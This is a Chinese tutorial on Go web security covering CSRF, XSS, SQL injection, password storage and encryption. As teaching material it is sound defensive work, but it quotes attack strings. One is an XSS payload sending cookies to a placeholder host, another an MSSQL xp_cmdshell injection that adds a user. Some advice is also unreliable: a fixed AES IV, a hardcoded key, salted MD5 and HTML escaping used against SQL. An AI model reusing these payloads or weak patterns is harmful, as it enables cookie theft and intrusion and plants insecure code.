Go Web 应用安全与加密实战指南:从 CSRF、XSS、SQL 注入到密码存储与数据加解密

原创2026-10-09 22:19:501,919 阅读
文章标签:文档教程后端

Go Web 应用安全与加密实战指南:从 CSRF、XSS、SQL 注入到密码存储与数据加解密

本篇指南以开源仓库 build-web-application-with-golang 中文版第 9 章(安全与加密)及其小结为核心,系统梳理 Go 开发者在构建 Web 应用时必须掌握的六大安全主题:CSRF 跨站请求伪造、输入过滤、XSS 跨站脚本攻击、SQL 注入、密码安全存储,以及敏感数据的对称加解密。读完本文,你将能够识别这几类典型攻击的成因与攻击链路,并直接使用 Go 标准库(net/http、crypto/md5、crypto/sha1、crypto/sha256、crypto/aes、crypto/des、encoding/base64、text/template)写出可落地的防御代码,把"安全意识"落实到每一个表单、每一句 SQL、每一条密码存储逻辑中。

开篇:为什么 Web 安全要从"不信任输入"开始

第 9 章绪论开宗明义:很多 Web 应用的安全问题都源于轻信了第三方提供的数据。用户的输入、数据库内容、第三方接口返回的数据,在验证之前都应视为不安全数据。如果直接把不安全数据输出到客户端,可能造成 XSS 跨站脚本攻击;把不安全数据拼进数据库查询,可能造成 SQL 注入;而伪造的请求,则可能造成 CSRF 攻击。这三个典型问题(连同输入过滤、密码存储、加解密)构成了本章的全部内容,9.7 小结将它们统摄为一条主线:

攻击手法源于"对用户输入没有很好的过滤";对策是"有效的数据过滤 + 分级加密方案 + 对称加解密工具"。

下文按这条主线依次展开。

一、预防 CSRF 跨站请求伪造

1.1 什么是 CSRF 与攻击原理

CSRF(Cross-site request forgery,跨站请求伪造),又称 one click attack / session riding,缩写为 CSRF/XSRF。攻击者借助社会工程学(例如通过 QQ 等聊天软件发送伪装成短域名的链接),盗用受害者的登录身份,以受害者名义发送攻击者预设的请求。例如:用户登录网上银行后未退出,点击了聊天软件发来的恶意链接,账户资金就可能被转移到攻击者指定账户;若受害终端用户拥有管理员账户,CSRF 甚至可能危及整个 Web 应用。

一次完整的 CSRF 攻击要求受害者依次完成两个步骤:

  1. 登录受信任网站 A,并在本地生成 Cookie;
  2. 在不退出 A 的情况下,访问危险网站 B。

用户很难规避这一风险:多标签浏览器下你无法保证登录 A 后不再访问其他网站;你也无法保证关闭浏览器后本地 Cookie 立刻过期;"攻击网站"甚至可能是一个本身存在其他漏洞、被频繁访问的可信网站。CSRF 的本质成因是 Web 的隐式身份验证机制——它只能证明请求来自某个用户的浏览器,却无法证明该请求是用户批准发送的。

下图为 CSRF 攻击过程示意:

CSRF 攻击过程:登录受信任网站 A 生成 Cookie 后,访问危险网站 B 触发伪造请求

1.2 服务端防御:正确使用 GET/POST 与非 GET 请求伪随机数

CSRF 的防御可从服务端和客户端两方面着手,服务端效果更好。服务端防御思想统一,主要从两点入手:

  1. 正确使用 GET、POST 和 Cookie:GET 只用于查看、列举、展示等不改变资源属性的操作;POST 用于下达订单、改变资源属性等写操作。
  2. 在非 GET 请求中增加伪随机数。

以 Go 路由为例,限制资源只能通过 POST 修改:

mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)

限定"修改只能用 POST"后,GET 方式的 CSRF 攻击即被拦截,但 POST 同样可以被模拟,因此需要第二步:在非 GET 请求中嵌入伪随机数(token)。原文档给出三种思路:

  • 为每个用户生成唯一的 Cookie token,所有表单共用同一个伪随机值——最简单,但依赖"无 XSS"前提,因为 Cookie 可能被 XSS 盗取;
  • 每个请求使用验证码——安全性高但用户友好性差,不适合实际应用;
  • 不同的表单包含不同的伪随机值——这是 4.4 节"防止多次递交表单" 就介绍过的方案,可直接复用。

生成随机 token 并渲染进模板:

h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))

t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)

模板中以隐藏字段输出 token:

<input type="hidden" name="token" value="{{.}}">

服务端接收时校验 token:

r.ParseForm()
token := r.Form.Get("token")
if token != "" {
    //验证token的合法性
} else {
    //不存在token报错
}

关于"破解 token 算法"的担忧:理论上可行,实际几乎不可能——按原文档引用的估算,暴力破解该串约需 2 的 11 次方量级的时间成本。

1.3 仓库源码佐证:nonce 一次性令牌实现

仓库的配套代码将这一思路工程化成了可复用的 nonce 包,见 en/code/src/apps/ch.4.4/nonce/main.go。它把"表单防重提交 + CSRF 防护"封装为三个概念:

  • Nonce:包含唯一 Token 的一次性字符串;
  • Nonces:用 map[string]bool 记录已标记/已使用的 token;
  • 核心流程:NewToken() 生成唯一 token → CheckToken() 校验(空 token 报 "No token supplied",重复提交报 "Duplicate submission")→ CheckThenMarkToken() 校验后立刻标记,防止同一 token 被二次使用。

其 token 生成算法与文档思路一致,但融入了更强的随机性:

func createToken() string {
    h := md5.New()
    now := time.Now().Unix()
    io.WriteString(h, strconv.FormatInt(now, 10))
    io.WriteString(h, strconv.FormatInt(rand.Int63(), 10))
    return fmt.Sprintf("%x", h.Sum(nil))
}

从源码结构可以看出,CheckThenMarkToken 采用"先校验、后标记(defer MarkToken)"的模式,把 token 一次性消费掉——这既防止表单多次递交,也堵住了同一 token 被重放攻击的路径。更完整的表单处理示例见 en/code/src/apps/ch.4.4/main.go。

二、确保输入过滤:Web 安全的基石

2.1 过滤的三步方法论

过滤用户数据是 Web 应用安全的基础,绝大多数漏洞都源于没有恰当过滤用户输入。原文档把过滤拆成三个步骤:

  1. 识别数据:搞清数据来自哪里。所有源自非代码内部的数据都要识别,包括客户端数据、数据库内容、第三方接口数据。Go 中用户输入很容易识别——r.ParseForm() 之后,用户 POST 和 GET 的数据都进了 r.Form;但 r.Header 中很多元素也由客户端操纵(例如 r.Header.Get("Accept-Charset")),最稳妥的做法是把它们全部视为用户输入。
  2. 过滤数据:弄明白我们需要什么样的数据。过滤是"使用数据前的合法性检查",而不是"好心纠正非法数据"——历史证明试图纠正非法数据往往导致安全漏洞(原文档举例:某银行系统升级后,密码后两位为 0 时只输入前四位即可登录)。
  3. 区分已过滤与被污染数据:约定把所有经过过滤的数据放入全局 CleanMap,并做到两条铁律——每个请求初始化 CleanMap 为空 Map;检查并阻止来自外部数据源的变量被命名为 CleanMap。

2.2 常用过滤手段与白名单思想

过滤主要依赖以下三类库:

  • strconv 包:r.Form 返回的是字符串,需要转整/浮点数时使用 Atoi、ParseBool、ParseFloat、ParseInt 等;
  • strings 包:Trim、ToLower、ToTitle 等按指定格式获取信息;
  • regexp 包:处理复杂校验,例如判定输入是否为 Email、生日格式。

白名单思想是过滤的高级形态:假定正在检查的数据都是非法的,除非能证明其合法。这样即便出错,也只会把合法数据误判为非法,而绝不会把非法数据放进来——比黑名单安全得多。

以下面的表单为例,攻击者完全可以模拟 POST 提交 name=attack 这样的数据,因此不能信任"只能提交三个选项之一"的假设:

<form action="/whoami" method="POST">
    我是谁:
    <select name="name">
        <option value="astaxie">astaxie</option>
        <option value="herry">herry</option>
        <option value="marry">marry</option>
    </select>
    <input type="submit" />
</form>

用白名单方式过滤并写入 CleanMap:

r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
    CleanMap["name"] = name
}

对于"由一组合法字符组成"的数据(例如用户名只能由字母和数字组成),则用正则过滤:

r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok {
    CleanMap["username"] = username
}

三、避免 XSS 跨站脚本攻击

3.1 什么是 XSS 与两大类型

XSS(Cross-Site Scripting,跨站脚本攻击)为避免与层叠样式表 CSS 混淆而缩写为 XSS。与只涉及攻击者和受害者的大多数攻击不同,XSS 涉及三方:攻击者、客户端与 Web 应用,其目标是盗取存储在客户端的 Cookie 或其他用于识别客户端身份的敏感信息,甚至假冒合法用户与网站交互。

XSS 通常分为两大类:

  • 存储型 XSS:出现在"用户输入数据、供其他浏览此页的用户查看"的地方(留言、评论、博客日志、各类表单)。攻击者在相关页面输入恶意脚本数据,存入数据库后再显示给其他用户。流程为:恶意 HTML 输入 → Web 程序 → 数据库 → Web 程序 → 用户浏览器。
  • 反射型 XSS:将脚本代码加入 URL 请求参数,参数进入程序后在页面直接输出。用户点击类似恶意链接即受攻击。

XSS 的主要手段和目的包括:盗用 Cookie 获取敏感信息;利用 Flash crossdomain 权限或 Java 等手段提升权限;通过 iframe、frame、XMLHttpRequest 以受害者身份执行发微博、加好友、发私信等操作;利用"可被攻击的域受其他域信任"的特点以受信来源身份请求平时不允许的操作;在访问量极大的页面上对小型网站实施 DDoS 效果。

3.2 XSS 原理演示

Web 应用未对用户提交数据做充分检查过滤,允许数据中掺入 HTML 代码(最主要的是 >、<),并将未转义的恶意代码输出到第三方浏览器解释执行,即产生 XSS 漏洞。以反射型为例:网站根据参数输出用户名,访问 http://127.0.0.1/?name=astaxie 输出 hello astaxie;若传 name=<script>alert('astaxie,xss')</script>,浏览器会弹出对话框,说明站点存在 XSS 漏洞。盗取 Cookie 则利用 name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>,把当前 Cookie 发送到指定站点。这类 URL 虽可疑,但经短网址服务缩短后难以辨别,用户一旦点击,Cookie 即被窃取。

3.3 防御手段

核心原则只有一条:坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。具体方式:

  • 过滤特殊字符:text/template 包提供了 HTMLEscapeString、JSEscapeString 等 HTML 过滤函数,在输出到客户端前对内容转义。
  • 使用 HTTP 头指定类型:
w.Header().Set("Content-Type", "text/javascript")

让浏览器按 JavaScript 解析输出,而不会当作 HTML 执行。在 4.3 节"预防跨站脚本" 中还有更完整的转义演示与效果截图(zh/images/4.3.escape.png)。

四、避免 SQL 注入

4.1 什么是 SQL 注入

SQL 注入攻击是 Web 开发中最常见的安全漏洞之一,可用于从数据库获取敏感信息、利用数据库特性添加用户、导出文件,甚至获取数据库乃至系统最高权限。成因是程序没有有效过滤用户输入,把攻击者的输入错误地当作查询语句的一部分执行,改变了原始查询逻辑。

4.2 注入实例

考虑如下登录表单:

<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>

对应的 SQL 查询直接拼接用户输入:

username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"

若用户名输入 myuser' or 'foo' = 'foo' --,SQL 变成:

SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

-- 在 SQL 中是注释标记,查询在此中断,攻击者无需知道任何合法用户名密码即可登录。更危险的是 MSSQL 系统命令注入:对 SELECT * FROM products WHERE name LIKE '%"+prod+"%' 提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' --,MSSQL 服务器会执行追加的创建系统用户命令;若程序以 sa 运行且服务有足够权限,攻击者即可获得系统级访问。虽然这些例子针对特定数据库系统,但各类数据库只要方法得当,都可能遭受类似攻击。

4.3 六条防御建议

  1. 严格限制数据库操作权限:给应用用户提供仅能满足工作的最低权限,最大限度减少注入危害。
  2. 检查输入数据的格式:严格限制变量类型,用 regexp 包做匹配处理,或用 strconv 包把字符串转为基本类型后判断。
  3. 对进入数据库的特殊字符转义/编码:text/template 包的 HTMLEscapeString 可对字符串转义处理。
  4. 使用参数化查询:不要直接拼接 SQL。用 database/sql 的 Prepare 和 Query,或 Exec(query string, args ...interface{}) 传入参数。
  5. 发布前用专业工具检测:如 sqlmap、SQLninja 等开源工具。
  6. 避免打印 SQL 错误信息:防止类型错误、字段不匹配等信息暴露 SQL 语句细节。

4.4 仓库源码佐证:参数化查询的标准用法

en/code/src/apps/ch.5.2/main.go 展示了 Go 官方推荐的参数化写法——全部 CRUD 都通过 db.Prepare 加占位符 ? 完成:

stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
res, err := stmt.Exec("astaxie", "software developement", "2012-12-09")

stmt, err = db.Prepare("update userinfo set username=? where uid=?")
res, err = stmt.Exec("astaxieupdate", id)

用户输入只作为参数传入、不嵌入 SQL 字符串,从底层杜绝了注入改写查询逻辑的可能,与第 9 章的防御建议一一对应。

五、存储密码:从普通方案到专家方案

面对频繁的密码泄漏事件(原文档提及 Linkedin、CSDN、多玩等案例),开发者需要警惕密码存储方案的陷阱。

5.1 普通方案:单向哈希的局限

最常见方案是将明文密码做单向哈希后存储。单向哈希无法从摘要恢复原始数据,常用算法有 SHA-256、SHA-1、MD5,Go 实现如下:

//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))

但单向哈希有两个致命特性:同一密码哈希结果唯一确定;计算速度快,一秒可达数十亿次。攻击者据此可把所有常见密码组合做哈希得到摘要组合(即 rainbow table / 彩虹表),与数据库摘要比对即可还原密码。因此,单纯单向哈希存储与明文存储区别不大。

5.2 进阶方案:加盐(salt)

直接思路是让黑客不知道哈希算法——但自行设计好算法极难,开源的多次 MD5 又等于把算法告诉攻击者。现实做法是加盐:先对密码做一次 MD5(或其他哈希),再把得到的 MD5 值前后加上只有管理员知道的随机串(可含固定串,也可含用户名以保证每个用户密钥不同),再做一次 MD5:

//import "crypto/md5"
//假设用户名abc,密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")

//pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 := fmt.Sprintf("%x", h.Sum(nil))

//指定两个 salt: salt1 = @#$%   salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"

//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)

last := fmt.Sprintf("%x", h.Sum(nil))

在两个 salt 未泄露的前提下,黑客拿到最终加密串也几乎无法反推原始密码。

5.3 专家方案:scrypt 计算强度拉伸

随着并行计算能力提升,加盐方案建立的彩虹表也变成可行攻击。根本解法是故意增加密码计算所需的资源和时间:算法中用一个因子指明计算强度,强度越大,建立彩虹表越困难以至于不可行。

推荐的 scrypt 方案由 FreeBSD 黑客 Colin Percival 为其备份服务 Tarsnap 开发,Go 语言由 golang.org/x/crypto/scrypt 提供支持:

dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)

参数依次为:密码、盐、CPU/内存成本参数 N=16384、块大小参数 r=8、并行化参数 p=1、派生密钥长度 32 字节。通过调节这些强度因子,可让单次计算慢到攻击者无法负担大规模彩虹表的建立——按原文档的评价,这是目前为止最难破解的方案。

六、加密和解密数据:base64、AES 与 DES

当需要"加密存储、将来解密读取"时,应选用对称加密算法。Go 语言主要提供三种:base64、AES 和 DES。

6.1 base64 加解密

对安全性要求不高的简单应用,可用实现最简单的 base64:

package main

import (
    "encoding/base64"
    "fmt"
)

func base64Encode(src []byte) []byte {
    return []byte(base64.StdEncoding.EncodeToString(src))
}

func base64Decode(src []byte) ([]byte, error) {
    return base64.StdEncoding.DecodeString(string(src))
}

func main() {
    // encode
    hello := "你好,世界! hello world"
    debyte := base64Encode([]byte(hello))
    fmt.Println(debyte)
    // decode
    enbyte, err := base64Decode(debyte)
    if err != nil {
        fmt.Println(err.Error())
    }

    if hello != string(enbyte) {
        fmt.Println("hello is not equal to enbyte")
    }

    fmt.Println(string(enbyte))
}

需要说明的是:从算法本质看,base64 属于编码而非加密(可被任何人解码),它只能应对"足够简单、无严格安全要求"的场景;真正需要保密时请使用下文的高级算法。

6.2 AES 与 DES 高级加解密

Go 的 crypto 中支持的高级对称加密包:

  • crypto/aes:AES(Advanced Encryption Standard),又称 Rijndael 加密法,是美国联邦政府采用的区块加密标准;
  • crypto/des:DES(Data Encryption Standard),曾是美国联邦政府加密标准,目前使用最广泛的密钥系统之一,尤其用于金融数据保护,现已被 AES 替代。

两种算法用法类似,以下以 AES 为例:

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "fmt"
    "os"
)

var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

func main() {
    //需要去加密的字符串
    plaintext := []byte("My name is Astaxie")
    //如果传入加密串的话,plaint就是传入的字符串
    if len(os.Args) > 1 {
        plaintext = []byte(os.Args[1])
    }

    //aes的加密字符串
    key_text := "astaxie12798akljzmknm.ahkjkljl;k"
    if len(os.Args) > 2 {
        key_text = os.Args[2]
    }

    fmt.Println(len(key_text))

    // 创建加密算法aes
    c, err := aes.NewCipher([]byte(key_text))
    if err != nil {
        fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
        os.Exit(-1)
    }

    //加密字符串
    cfb := cipher.NewCFBEncrypter(c, commonIV)
    ciphertext := make([]byte, len(plaintext))
    cfb.XORKeyStream(ciphertext, plaintext)
    fmt.Printf("%s=>%x\n", plaintext, ciphertext)

    // 解密字符串
    cfbdec := cipher.NewCFBDecrypter(c, commonIV)
    plaintextCopy := make([]byte, len(plaintext))
    cfbdec.XORKeyStream(plaintextCopy, ciphertext)
    fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}

关键点:aes.NewCipher 的密钥参数必须是 16、24 或 32 字节的 []byte,分别对应 AES-128、AES-192、AES-256;它返回 cipher.Block 接口,该接口定义了三个方法:

type Block interface {
    // BlockSize returns the cipher's block size.
    BlockSize() int

    // Encrypt encrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Encrypt(dst, src []byte)

    // Decrypt decrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Decrypt(dst, src []byte)
}

配合 cipher.NewCFBEncrypter / cipher.NewCFBDecrypter(CFB 流模式,需提供与块等长的 IV,即示例中的 commonIV),通过 XORKeyStream 完成整段数据的加密与解密。

七、总结与配套资源

第 9 章 小结 的写作目的,是希望开发者在意识层面强化安全概念:CSRF、XSS、SQL 注入等典型攻击都源于对用户输入缺乏过滤;对策层面则包括数据过滤、从基础到专家的分级加密(普通哈希 → 加盐 → scrypt),以及 base64/AES/DES 三种对称加解密手段。Go 语言在防攻击方面已提供大量工具包,充分利用它们即可构建安全的 Web 应用。

各主题的完整实操与深入讲解,可继续阅读:

仓库配套源码中,en/code/src/apps/ch.4.4/nonce/main.go 是可复用的 CSRF/防重提交 token 实现,en/code/src/apps/ch.4.4/main.go 演示了完整表单处理,en/code/src/apps/ch.5.2/main.go 展示了参数化查询的标准写法;全书目录见 zh/preface.md。下一章将进入国际化和本地化主题。

登录后查看全文
build-web-application-with-golang